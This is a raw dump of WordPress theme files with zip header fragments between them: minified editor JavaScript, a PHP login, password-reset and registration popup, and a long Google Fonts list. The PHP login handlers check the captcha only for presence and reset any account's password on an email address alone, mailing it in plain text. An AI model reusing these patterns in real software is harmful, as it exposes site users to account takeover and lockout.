(0,p.__)("— Select Primary %s —","soledad"),o)),this.state.terms&&this.state.terms.map((e=>{if(t.includes(e.id))return this.state.primaryTermId===e.id?(0,r.createElement)("option",{value:e.id,selected:!0},e.name):(0,r.createElement)("option",{value:e.id},e.name)}))))}}const c=(0,i.compose)([(0,o.withSelect)(((e,t)=>{let{primaryTaxonomy:r}=t;const{getEditedPostAttribute:o}=e("core/editor");return{selectedTermsIds:o(r.restBase),meta:o("meta")}})),(0,o.withDispatch)((e=>{const{editPost:t}=e("core/editor");return{updateSPC(e){t({meta:e})}}}))])(m);class l extends r.Component{constructor(){super(),this.state={hasError:!1,error:null}}static getDerivedStateFromError(e){return{hasError:!0,error:e}}render(){const{slug:e,TaxonomyComponent:t}=this.props,o=pcpricatData.taxonomies;return this.state.hasError?(0,r.createElement)(t,this.props):o.hasOwnProperty(e)?(0,r.createElement)(r.Fragment,null,(0,r.createElement)(t,this.props),(0,r.createElement)(c,{primaryTaxonomy:o[e]})):(0,r.createElement)(t,this.props)}}const d=l;function u(e){return o=>(0,r.createElement)(d,t({TaxonomyComponent:e},o))}"undefined"!=typeof wp&&void 0!==wp.blocks&&wp.hooks.addFilter("editor.PostTaxonomyType","soledad",u)})();PK     N\mL  mL    inc/login-popup.phpnu [        <?php
add_action( 'wp_ajax_nopriv_penci_login_ajax', 'penci_login_ajax_callback' );
add_action( 'wp_ajax_penci_login_ajax', 'penci_login_ajax_callback' );

function penci_login_ajax_callback() {
	global $wpdb;

	check_ajax_referer( 'login', 'security' );

	// We shall SQL prepare all inputs to avoid sql injection.
	$username = isset( $_REQUEST['username'] ) ? $wpdb->prepare( $_REQUEST['username'], array() ) : '';
	$password = $_REQUEST['password'];
	$remember = isset( $_REQUEST['rememberme'] ) ? $wpdb->prepare( $_REQUEST['rememberme'], array() ) : '';
	$captcha  = isset( $_POST['captcha'] ) ? $_POST['captcha'] : '';

	if ( $captcha == '' ) {
		wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_validate_robot' ) . '</p>' );
	} else {
		if ( $remember ) {
			$remember = 'true';
		} else {
			$remember = 'false';
		}

		$login_data                  = array();
		$login_data['user_login']    = $username;
		$login_data['user_password'] = $password;
		$login_data['remember']      = $remember;
		$user_verify                 = wp_signon( $login_data, false );

		if ( is_wp_error( $user_verify ) ) {
			wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_wrong' ) . '</p>' );
		}

		if ( isset( $user_verify->ID ) ) {
			wp_set_current_user( $user_verify->ID );
			wp_set_auth_cookie( $user_verify->ID );
		}

		wp_send_json_success( '<p class="message message-success">' . penci_get_setting( 'penci_plogin_success' ) . '</p>' );
	}
}

// Ajax widget pasword recovery
add_action( 'wp_ajax_nopriv_penci_resetpass_ajax', 'penci_pass_recovery_ajax_callback' );
add_action( 'wp_ajax_penci_resetpass_ajax', 'penci_pass_recovery_ajax_callback' );

function penci_pass_recovery_ajax_callback() {
	global $wpdb;

	check_ajax_referer( 'resetpassword', 'security' );

	$account = $_POST['username'];
	$captcha = isset( $_POST['captcha'] ) ? $_POST['captcha'] : '';
	$error   = '';

	if ( $captcha == '' ) {
		$error = penci_get_setting( 'penci_plogin_validate_robot' );
	} else {
		if ( is_email( $account ) ) {
			if ( email_exists( $account ) ) {
				$get_by = 'email';
			} else {
				$error = penci_get_setting( 'penci_preset_noemail' );
			}
		} else {
			$error = penci_get_setting( 'penci_plogin_mess_invalid_email' );
		}
	}

	if ( ! $error ) {
		$text_from    = penci_get_setting( 'penci_preset_from' );
		$text_newpass = penci_get_setting( 'penci_preset_newpassis' );

		// Generate our new password
		$random_password = wp_generate_password();


		// Get user data by field and data
		$user = get_user_by( $get_by, $account );

		$update_user = wp_update_user( array( 'ID' => $user->ID, 'user_pass' => $random_password ) );

		// if  update user return true then lets send user an email containing the new password
		if ( $update_user ) {

			$sitename = strtolower( $_SERVER['SERVER_NAME'] );
			if ( substr( $sitename, 0, 4 ) == 'www.' ) {
				$sitename = substr( $sitename, 4 );
			}
			$from = 'admin@' . $sitename;

			$to      = $user->user_email;
			$subject = penci_get_setting( 'penci_trans_recover_pass' );
			$sender  = $text_from . get_option( 'name' ) . ' <' . $from . '>' . "\r\n";

			$message = $text_newpass . ' ' . $random_password;

			$headers[] = 'MIME-Version: 1.0' . "\r\n";
			$headers[] = 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
			$headers[] = "X-Mailer: PHP \r\n";
			$headers[] = $sender;

			$mail = wp_mail( $to, $subject, $message, $headers );
			if ( $mail ) {
				$success = penci_get_setting( 'penci_preset_checkinbox' );
			} else {
				$error = penci_get_setting( 'penci_preset_cantsend' );
			}
		} else {
			$error = penci_get_setting( 'penci_preset_somethingwrong' );
		}
	}

	if ( ! empty( $error ) ) {
		wp_send_json_error( '<p class="message message-error">' . $error . '</p>' );
	}

	if ( ! empty( $success ) ) {
		wp_send_json_success( '<p class="message message-success">' . $success . '</p>' );
	}

	die();
}

//Ajax widget register popup
add_action( 'wp_ajax_nopriv_penci_register_ajax', 'penci_register_ajax_callback' );
add_action( 'wp_ajax_penci_register_ajax', 'penci_register_ajax_callback' );

function penci_register_ajax_callback() {

	check_ajax_referer( 'register', 'security' );

	$first_name  = sanitize_text_field( $_POST['fistName'] );
	$last_name   = sanitize_text_field( $_POST['lastName'] );
	$username    = sanitize_text_field( $_POST['username'] );
	$email       = sanitize_text_field( $_POST['email'] );
	$phone       = sanitize_text_field( $_POST['phone'] );
	$pass        = sanitize_text_field( $_POST['password'] );
	$confirmPass = sanitize_text_field( $_POST['confirmPass'] );
	$captcha     = isset( $_POST['captcha'] ) ? $_POST['captcha'] : '';
	$error       = '';

	if ( $captcha == '' ) {
		$error = penci_get_setting( 'penci_plogin_validate_robot' );
	} else {
		if ( ! is_email( $email ) ) {
			$error = penci_get_setting( 'penci_plogin_mess_invalid_email' );
		}

		if ( $confirmPass != $pass ) {
			$error = penci_get_setting( 'penci_plogin_mess_error_email_pass' );
		}
	}

	if ( $error != '' ) {
		wp_send_json_error( '<p class="message message-error">' . $error . '</p>' );
	} else {
		// Register the user
		$user_register = wp_insert_user( array(
			'first_name'    => $first_name,
			'last_name'     => $last_name,
			'user_login'    => $username,
			'user_email'    => $email,
			'user_pass'     => $pass,
			'billing_phone' => $phone,
		) );


		if ( is_wp_error( $user_register ) ) {
			$error = $user_register->get_error_codes();

			if ( in_array( 'empty_user_login', $error ) ) {
				wp_send_json_error( '<p class="message message-error">' . $user_register->get_error_message( 'empty_user_login' ) . '</p>' );

			} elseif ( in_array( 'existing_user_login', $error ) ) {
				wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_mess_username_reg' ) . '</p>' );

			} elseif ( in_array( 'existing_user_email', $error ) ) {
				wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_mess_email_reg' ) . '</p>' );
			}
		} else {
			$login_data                  = array();
			$login_data['user_login']    = $username;
			$login_data['user_password'] = $pass;
			$login_data['remember']      = true;

			$user_signon = wp_signon( $login_data, false );

			if ( isset( $user_signon->ID ) ) {
				wp_set_current_user( $user_signon->ID );
				wp_set_auth_cookie( $user_signon->ID );
			}

			if ( is_wp_error( $user_signon ) ) {
				wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_mess_wrong_email_pass' ) . '</p>' );
			} else {
				wp_set_current_user( $user_signon->ID );
				wp_send_json_success( '<p class="message message-success">' . penci_get_setting( 'penci_plogin_mess_reg_succ' ) . '</p>' );
			}
		}
	}
}

function penci_add_captcha_login_form() {
	/* Support captcha plugin https://wordpress.org/plugins/login-security-recaptcha/ */
	if ( class_exists( 'STLSR_Captcha' ) ) {
		$login_captcha        = get_option( 'stlsr_login_captcha' );
		$login_captcha_enable = isset( $login_captcha['enable'] ) ? (bool) $login_captcha['enable'] : false;

		if ( $login_captcha_enable && method_exists('STLSR_Captcha', 'display_recaptcha') ) {
			$login_captcha = isset( $login_captcha['captcha'] ) ? esc_attr( $login_captcha['captcha'] ) : '';
			STLSR_Captcha::display_recaptcha( $login_captcha, 'login' );
		}
	}
}

function penci_add_captcha_getpass_form() {
	/* Support captcha plugin https://wordpress.org/plugins/login-security-recaptcha/ */
	if ( class_exists( 'STLSR_Captcha' ) ) {
		$lostpassword_captcha        = get_option( 'stlsr_lostpassword_captcha' );
		$lostpassword_captcha_enable = isset( $lostpassword_captcha['enable'] ) ? (bool) $lostpassword_captcha['enable'] : false;

		if ( $lostpassword_captcha_enable && method_exists('STLSR_Captcha', 'display_recaptcha') ) {
			$lostpassword_captcha = isset( $lostpassword_captcha['captcha'] ) ? esc_attr( $lostpassword_captcha['captcha'] ) : '';
			STLSR_Captcha::display_recaptcha( $lostpassword_captcha, 'lostpassword' );
		}
	}
}

function penci_soledad_login_register_popup() {
	?>
	<?php if ( ! is_user_logged_in() ): ?>
        <div id="penci-login-popup" class="mfp-hide penci-popup-wrapper">
            <div id="penci-popup-login" class="penci-login-register penci-popup-login">
                <div class="penci-login-container">
                    <div class="penci-lgpop-title"><?php echo penci_get_setting( 'penci_trans_sign_in' ); ?></div>
                    <div class="penci-login">
                        <form name="penci-loginpopform" id="penci-loginpopform"
                              action="<?php echo esc_url( site_url( 'wp-login.php' ) ); ?>" method="post"
                              novalidate="novalidate">
                            <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                                   value="<?php echo wp_create_nonce( 'login' ); ?>">
                            <div class="pclogin-input">
                                <input type="text" name="log" id="penci_user" class="input"
                                       placeholder="<?php echo penci_get_setting( 'penci_trans_usernameemail_text' ); ?>"
                                       size="20">
                            </div>
                            <div class="pclogin-input">
                                <input type="password" name="pwd" id="penci_pass" class="input"
                                       placeholder="<?php echo penci_get_setting( 'penci_trans_pass_text' ); ?>"
                                       size="20">
                            </div>
							<?php do_action( 'login_form' ); ?>
							<?php penci_add_captcha_login_form(); ?>
                            <div class="pclogin-input pclogin-input-checkbox">
                                <p><input name="rememberme" type="checkbox" id="remembermepopup"
                                          value="forever"> <?php echo penci_get_setting( 'penci_plogin_label_remember' ); ?>
                                </p>
                            </div>
                            <div class="pclogin-input">
                                <input type="submit" name="penci_submit" class="pcpop-button"
                                       value="<?php echo penci_get_setting( 'penci_plogin_label_log_in' ); ?>">
                            </div>
                        </form>
                    </div>
                    <div class="penci-popup-desc register register-popup">
                        <p><a aria-label="Lost Password" class="penci-lostpassword-btn"
                              href="#"><?php echo( penci_get_setting( 'penci_plogin_label_lostpassword' ) ); ?></a></p>
						<?php if ( get_option( 'users_can_register' ) ) : ?>
                            <p><?php echo( penci_get_setting( 'penci_plogin_text_has_account' ) ); ?> <a
                                        class="penci-register-popup-btn"
                                        href="<?php echo wp_registration_url(); ?>"><?php echo( penci_get_setting( 'penci_plogin_label_registration' ) ); ?></a>
                            </p>
						<?php endif; ?>
                    </div>
                </div>
            </div>
            <div id="penci-popup-passreset" class="penci-login-register penci-popup-passreset penci-hidden">
                <div class="penci-login-container">
                    <div class="penci-lgpop-title"><?php echo penci_get_setting( 'penci_trans_recover_pass' ); ?></div>
                    <div class="penci-login">
                        <form id="penci-passreset-popup" class="penci-passreset-popup"
                              action="<?php echo esc_url( site_url( 'wp-login.php?action=lostpassword' ) ); ?>"
                              method="post" novalidate="novalidate">
                            <input type="hidden" class="penci_form_nonce" name="_wpnonce"
                                   value="<?php echo wp_create_nonce( 'resetpassword' ); ?>">
                            <div class="passreset-input">
                                <input class="penci_user_email" name="penci_user_email" type="text"
                                       placeholder="<?php echo penci_get_setting( 'penci_plogin_email_place' ); ?>"/>
                            </div>
							<?php do_action( 'lostpassword_form' ); ?>
							<?php penci_add_captcha_getpass_form(); ?>
                            <div class="passreset-input">
                                <input type="submit" name="penci_submit" class="pcpop-button"
                                       value="<?php echo penci_get_setting( 'penci_preset_submit' ); ?>"/>
                            </div>
                            <div class="penci-popup-desc pass-revocer-popup">
                                <p><?php echo( penci_get_setting( 'penci_preset_desc' ) ); ?></p>
                                <p><?php echo( penci_get_setting( 'penci_preset_received' ) ); ?> <a
                                            class="penci-login-popup-btn"
                                            href="#login"><?php echo penci_get_setting( 'penci_pregister_label_registration' ); ?></a>
                                </p>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
			<?php if ( get_option( 'users_can_register' ) ) :
				$res_class = get_theme_mod( 'penci_tblogin_show_checkbox' ) ? 'register-input-checkbox' : '';
				?>
                <div id="penci-popup-register"
                     class="<?php echo $res_class; ?> penci-login-register penci-popup-register penci-hidden">
                    <div class="penci-login-container">
                        <div class="penci-lgpop-title"><?php echo penci_get_setting( 'penci_trans_register_new_account' ); ?></div>
                        <div class="penci-login">
                            <form name="form" id="penci-register-popup"
                                  action="<?php echo esc_url( site_url( 'wp-login.php?action=register' ) ); ?>"
                                  method="post" novalidate="novalidate">
                                <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                                       value="<?php echo wp_create_nonce( 'register' ); ?>">
								<?php if ( ! get_theme_mod( 'penci_tblogin_hide_name' ) ) : ?>
                                    <div class="pclg-2col">
                                        <div class="register-input">
                                            <input class="penci_first_name" name="penci_first_name" type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
                                        </div>
                                        <div class="register-input">
                                            <input class="penci_last_name" name="penci_last_name" type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
                                        </div>
                                    </div>
								<?php endif; ?>
                                <div class="register-input">
                                    <input class="penci_user_name" name="penci_user_name" type="text"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
                                </div>
                                <div class="register-input">
                                    <input class="penci_user_email" name="penci_user_email" type="email"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
                                </div>
								<?php if ( get_theme_mod( 'penci_tblogin_show_phone' ) ) : ?>
                                    <div class="register-input">
                                        <input class="penci_user_phone" name="penci_user_phone" type="tel"
                                               placeholder="<?php echo penci_get_setting( 'penci_pregister_user_phone' ); ?>"/>
                                    </div>
								<?php endif; ?>
                                <div class="register-input">
                                    <input autocomplete="off" class="penci_user_pass" name="penci_user_pass"
                                           type="password"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
                                </div>
                                <div class="register-input">
                                    <input autocomplete="off" class="penci_user_pass_confirm"
                                           name="penci_user_pass_confirm" type="password"
                                           placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
                                </div>
								<?php if ( $res_class ) : ?>
                                    <div class="register-input register-input-checkbox">
                                        <p>
                                            <input name="penci_agreebox" type="checkbox" id="penci_agreebox">
											<?php echo penci_get_setting( 'penci_pregister_agree' ); ?>
                                        </p>
                                    </div>
								<?php endif; ?>
								<?php do_action( 'register_form' ); ?>
                                <div class="register-input">
                                    <input type="submit" name="penci_submit" class="pcpop-button"
                                           value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
                                </div>
                                <div class="penci-popup-desc register-input login login-popup">
                                    <p><?php echo penci_get_setting( 'penci_pregister_has_account' ); ?> <a
                                                class="penci-login-popup-btn"
                                                href="#login"><?php echo penci_get_setting( 'penci_pregister_label_registration' ); ?></a>
                                    </p>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
			<?php endif; ?>
            <div class="penci-loader-effect penci-loading-animation"><span class="penci-ld"> <span
                            class="penci-ld1 penci-ldin"></span> <span class="penci-ld2 penci-ldin"></span> <span
                            class="penci-ld3 penci-ldin"></span> <span class="penci-ld4 penci-ldin"></span> <span
                            class="penci-ld5 penci-ldin"></span> <span class="penci-ld6 penci-ldin"></span> <span
                            class="penci-ld7 penci-ldin"></span> <span class="penci-ld8 penci-ldin"></span> <span
                            class="penci-ld9 penci-ldin"></span> <span class="penci-ld10 penci-ldin"></span> <span
                            class="penci-ld11 penci-ldin"></span> <span class="penci-ld12 penci-ldin"></span> </span>
            </div>
        </div>
	<?php endif;
}PK     N\88> >   inc/fonts/fonts.phpnu [        <?php
/**
 * Google fonts array
 * Define google font array
 */
if ( ! function_exists( 'penci_list_google_fonts_array' ) ) {
	function penci_list_google_fonts_array() {

		$penci_soledad_google_fonts = [
			'"ABeeZee", "regular:italic", sans-serif'                                                                                                                                    => 'ABeeZee',
			'"ADLaM Display", "regular", display'                                                                                                                                        => 'ADLaM Display',
			'"AR One Sans", "regular:500:600:700", sans-serif'                                                                                                                           => 'AR One Sans',
			'"Abel", "regular", sans-serif'                                                                                                                                              => 'Abel',
			'"Abhaya Libre", "regular:500:600:700:800", serif'                                                                                                                           => 'Abhaya Libre',
			'"Aboreto", "regular", display'                                                                                                                                              => 'Aboreto',
			'"Abril Fatface", "regular", display'                                                                                                                                        => 'Abril Fatface',
			'"Abyssinica SIL", "regular", serif'                                                                                                                                         => 'Abyssinica SIL',
			'"Aclonica", "regular", sans-serif'                                                                                                                                          => 'Aclonica',
			'"Acme", "regular", sans-serif'                                                                                                                                              => 'Acme',
			'"Actor", "regular", sans-serif'                                                                                                                                             => 'Actor',
			'"Adamina", "regular", serif'                                                                                                                                                => 'Adamina',
			'"Advent Pro", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                 => 'Advent Pro',
			'"Afacad", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                           => 'Afacad',
			'"Agbalumo", "regular", display'                                                                                                                                             => 'Agbalumo',
			'"Agdasima", "regular:700", sans-serif'                                                                                                                                      => 'Agdasima',
			'"Aguafina Script", "regular", handwriting'                                                                                                                                  => 'Aguafina Script',
			'"Akatab", "regular:500:600:700:800:900", sans-serif'                                                                                                                        => 'Akatab',
			'"Akaya Kanadaka", "regular", display'                                                                                                                                       => 'Akaya Kanadaka',
			'"Akaya Telivigala", "regular", display'                                                                                                                                     => 'Akaya Telivigala',
			'"Akronim", "regular", display'                                                                                                                                              => 'Akronim',
			'"Akshar", "300:regular:500:600:700", sans-serif'                                                                                                                            => 'Akshar',
			'"Aladin", "regular", display'                                                                                                                                               => 'Aladin',
			'"Alata", "regular", sans-serif'                                                                                                                                             => 'Alata',
			'"Alatsi", "regular", sans-serif'                                                                                                                                            => 'Alatsi',
			'"Albert Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Albert Sans',
			'"Aldrich", "regular", sans-serif'                                                                                                                                           => 'Aldrich',
			'"Alef", "regular:700", sans-serif'                                                                                                                                          => 'Alef',
			'"Alegreya", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", serif'                                                                  => 'Alegreya',
			'"Alegreya SC", "regular:italic:500:500italic:700:700italic:800:800italic:900:900italic", serif'                                                                             => 'Alegreya SC',
			'"Alegreya Sans", "100:100italic:300:300italic:regular:italic:500:500italic:700:700italic:800:800italic:900:900italic", sans-serif'                                          => 'Alegreya Sans',
			'"Alegreya Sans SC", "100:100italic:300:300italic:regular:italic:500:500italic:700:700italic:800:800italic:900:900italic", sans-serif'                                       => 'Alegreya Sans SC',
			'"Aleo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                            => 'Aleo',
			'"Alex Brush", "regular", handwriting'                                                                                                                                       => 'Alex Brush',
			'"Alexandria", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Alexandria',
			'"Alfa Slab One", "regular", display'                                                                                                                                        => 'Alfa Slab One',
			'"Alice", "regular", serif'                                                                                                                                                  => 'Alice',
			'"Alike", "regular", serif'                                                                                                                                                  => 'Alike',
			'"Alike Angular", "regular", serif'                                                                                                                                          => 'Alike Angular',
			'"Alkalami", "regular", serif'                                                                                                                                               => 'Alkalami',
			'"Alkatra", "regular:500:600:700", display'                                                                                                                                  => 'Alkatra',
			'"Allan", "regular:700", display'                                                                                                                                            => 'Allan',
			'"Allerta", "regular", sans-serif'                                                                                                                                           => 'Allerta',
			'"Allerta Stencil", "regular", sans-serif'                                                                                                                                   => 'Allerta Stencil',
			'"Allison", "regular", handwriting'                                                                                                                                          => 'Allison',
			'"Allura", "regular", handwriting'                                                                                                                                           => 'Allura',
			'"Almarai", "300:regular:700:800", sans-serif'                                                                                                                               => 'Almarai',
			'"Almendra", "regular:italic:700:700italic", serif'                                                                                                                          => 'Almendra',
			'"Almendra Display", "regular", display'                                                                                                                                     => 'Almendra Display',
			'"Almendra SC", "regular", serif'                                                                                                                                            => 'Almendra SC',
			'"Alumni Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Alumni Sans',
			'"Alumni Sans Collegiate One", "regular:italic", sans-serif'                                                                                                                 => 'Alumni Sans Collegiate One',
			'"Alumni Sans Inline One", "regular:italic", display'                                                                                                                        => 'Alumni Sans Inline One',
			'"Alumni Sans Pinstripe", "regular:italic", sans-serif'                                                                                                                      => 'Alumni Sans Pinstripe',
			'"Amarante", "regular", display'                                                                                                                                             => 'Amarante',
			'"Amaranth", "regular:italic:700:700italic", sans-serif'                                                                                                                     => 'Amaranth',
			'"Amatic SC", "regular:700", handwriting'                                                                                                                                    => 'Amatic SC',
			'"Amethysta", "regular", serif'                                                                                                                                              => 'Amethysta',
			'"Amiko", "regular:600:700", sans-serif'                                                                                                                                     => 'Amiko',
			'"Amiri", "regular:italic:700:700italic", serif'                                                                                                                             => 'Amiri',
			'"Amiri Quran", "regular", serif'                                                                                                                                            => 'Amiri Quran',
			'"Amita", "regular:700", handwriting'                                                                                                                                        => 'Amita',
			'"Anaheim", "regular:500:600:700:800", sans-serif'                                                                                                                           => 'Anaheim',
			'"Andada Pro", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", serif'                                                                              => 'Andada Pro',
			'"Andika", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Andika',
			'"Anek Bangla", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                           => 'Anek Bangla',
			'"Anek Devanagari", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                       => 'Anek Devanagari',
			'"Anek Gujarati", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                         => 'Anek Gujarati',
			'"Anek Gurmukhi", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                         => 'Anek Gurmukhi',
			'"Anek Kannada", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                          => 'Anek Kannada',
			'"Anek Latin", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                            => 'Anek Latin',
			'"Anek Malayalam", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                        => 'Anek Malayalam',
			'"Anek Odia", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                             => 'Anek Odia',
			'"Anek Tamil", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                            => 'Anek Tamil',
			'"Anek Telugu", "100:200:300:regular:500:600:700:800", sans-serif'                                                                                                           => 'Anek Telugu',
			'"Angkor", "regular", display'                                                                                                                                               => 'Angkor',
			'"Annapurna SIL", "regular:700", serif'                                                                                                                                      => 'Annapurna SIL',
			'"Annie Use Your Telescope", "regular", handwriting'                                                                                                                         => 'Annie Use Your Telescope',
			'"Anonymous Pro", "regular:italic:700:700italic", monospace'                                                                                                                 => 'Anonymous Pro',
			'"Anta", "regular", sans-serif'                                                                                                                                              => 'Anta',
			'"Antic", "regular", sans-serif'                                                                                                                                             => 'Antic',
			'"Antic Didone", "regular", serif'                                                                                                                                           => 'Antic Didone',
			'"Antic Slab", "regular", serif'                                                                                                                                             => 'Antic Slab',
			'"Anton", "regular", sans-serif'                                                                                                                                             => 'Anton',
			'"Anton SC", "regular", sans-serif'                                                                                                                                          => 'Anton SC',
			'"Antonio", "100:200:300:regular:500:600:700", sans-serif'                                                                                                                   => 'Antonio',
			'"Anuphan", "100:200:300:regular:500:600:700", sans-serif'                                                                                                                   => 'Anuphan',
			'"Anybody", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                       => 'Anybody',
			'"Aoboshi One", "regular", serif'                                                                                                                                            => 'Aoboshi One',
			'"Arapey", "regular:italic", serif'                                                                                                                                          => 'Arapey',
			'"Arbutus", "regular", serif'                                                                                                                                                => 'Arbutus',
			'"Arbutus Slab", "regular", serif'                                                                                                                                           => 'Arbutus Slab',
			'"Architects Daughter", "regular", handwriting'                                                                                                                              => 'Architects Daughter',
			'"Archivo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Archivo',
			'"Archivo Black", "regular", sans-serif'                                                                                                                                     => 'Archivo Black',
			'"Archivo Narrow", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                   => 'Archivo Narrow',
			'"Are You Serious", "regular", handwriting'                                                                                                                                  => 'Are You Serious',
			'"Aref Ruqaa", "regular:700", serif'                                                                                                                                         => 'Aref Ruqaa',
			'"Aref Ruqaa Ink", "regular:700", serif'                                                                                                                                     => 'Aref Ruqaa Ink',
			'"Arima", "100:200:300:regular:500:600:700", display'                                                                                                                        => 'Arima',
			'"Arimo", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                            => 'Arimo',
			'"Arizonia", "regular", handwriting'                                                                                                                                         => 'Arizonia',
			'"Armata", "regular", sans-serif'                                                                                                                                            => 'Armata',
			'"Arsenal", "regular:italic:700:700italic", sans-serif'                                                                                                                      => 'Arsenal',
			'"Arsenal SC", "regular:italic:700:700italic", sans-serif'                                                                                                                   => 'Arsenal SC',
			'"Artifika", "regular", serif'                                                                                                                                               => 'Artifika',
			'"Arvo", "regular:italic:700:700italic", serif'                                                                                                                              => 'Arvo',
			'"Arya", "regular:700", sans-serif'                                                                                                                                          => 'Arya',
			'"Asap", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                       => 'Asap',
			'"Asap Condensed", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                           => 'Asap Condensed',
			'"Asar", "regular", serif'                                                                                                                                                   => 'Asar',
			'"Asset", "regular", display'                                                                                                                                                => 'Asset',
			'"Assistant", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                 => 'Assistant',
			'"Astloch", "regular:700", display'                                                                                                                                          => 'Astloch',
			'"Asul", "regular:700", sans-serif'                                                                                                                                          => 'Asul',
			'"Athiti", "200:300:regular:500:600:700", sans-serif'                                                                                                                        => 'Athiti',
			'"Atkinson Hyperlegible", "regular:italic:700:700italic", sans-serif'                                                                                                        => 'Atkinson Hyperlegible',
			'"Atma", "300:regular:500:600:700", display'                                                                                                                                 => 'Atma',
			'"Atomic Age", "regular", display'                                                                                                                                           => 'Atomic Age',
			'"Aubrey", "regular", display'                                                                                                                                               => 'Aubrey',
			'"Audiowide", "regular", display'                                                                                                                                            => 'Audiowide',
			'"Autour One", "regular", display'                                                                                                                                           => 'Autour One',
			'"Average", "regular", serif'                                                                                                                                                => 'Average',
			'"Average Sans", "regular", sans-serif'                                                                                                                                      => 'Average Sans',
			'"Averia Gruesa Libre", "regular", display'                                                                                                                                  => 'Averia Gruesa Libre',
			'"Averia Libre", "300:300italic:regular:italic:700:700italic", display'                                                                                                      => 'Averia Libre',
			'"Averia Sans Libre", "300:300italic:regular:italic:700:700italic", display'                                                                                                 => 'Averia Sans Libre',
			'"Averia Serif Libre", "300:300italic:regular:italic:700:700italic", display'                                                                                                => 'Averia Serif Libre',
			'"Azeret Mono", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", monospace'                 => 'Azeret Mono',
			'"B612", "regular:italic:700:700italic", sans-serif'                                                                                                                         => 'B612',
			'"B612 Mono", "regular:italic:700:700italic", monospace'                                                                                                                     => 'B612 Mono',
			'"BIZ UDGothic", "regular:700", sans-serif'                                                                                                                                  => 'BIZ UDGothic',
			'"BIZ UDMincho", "regular:700", serif'                                                                                                                                       => 'BIZ UDMincho',
			'"BIZ UDPGothic", "regular:700", sans-serif'                                                                                                                                 => 'BIZ UDPGothic',
			'"BIZ UDPMincho", "regular:700", serif'                                                                                                                                      => 'BIZ UDPMincho',
			'"Babylonica", "regular", handwriting'                                                                                                                                       => 'Babylonica',
			'"Bacasime Antique", "regular", serif'                                                                                                                                       => 'Bacasime Antique',
			'"Bad Script", "regular", handwriting'                                                                                                                                       => 'Bad Script',
			'"Bagel Fat One", "regular", display'                                                                                                                                        => 'Bagel Fat One',
			'"Bahiana", "regular", display'                                                                                                                                              => 'Bahiana',
			'"Bahianita", "regular", display'                                                                                                                                            => 'Bahianita',
			'"Bai Jamjuree", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                         => 'Bai Jamjuree',
			'"Bakbak One", "regular", display'                                                                                                                                           => 'Bakbak One',
			'"Ballet", "regular", handwriting'                                                                                                                                           => 'Ballet',
			'"Baloo 2", "regular:500:600:700:800", display'                                                                                                                              => 'Baloo 2',
			'"Baloo Bhai 2", "regular:500:600:700:800", display'                                                                                                                         => 'Baloo Bhai 2',
			'"Baloo Bhaijaan 2", "regular:500:600:700:800", display'                                                                                                                     => 'Baloo Bhaijaan 2',
			'"Baloo Bhaina 2", "regular:500:600:700:800", display'                                                                                                                       => 'Baloo Bhaina 2',
			'"Baloo Chettan 2", "regular:500:600:700:800", display'                                                                                                                      => 'Baloo Chettan 2',
			'"Baloo Da 2", "regular:500:600:700:800", display'                                                                                                                           => 'Baloo Da 2',
			'"Baloo Paaji 2", "regular:500:600:700:800", display'                                                                                                                        => 'Baloo Paaji 2',
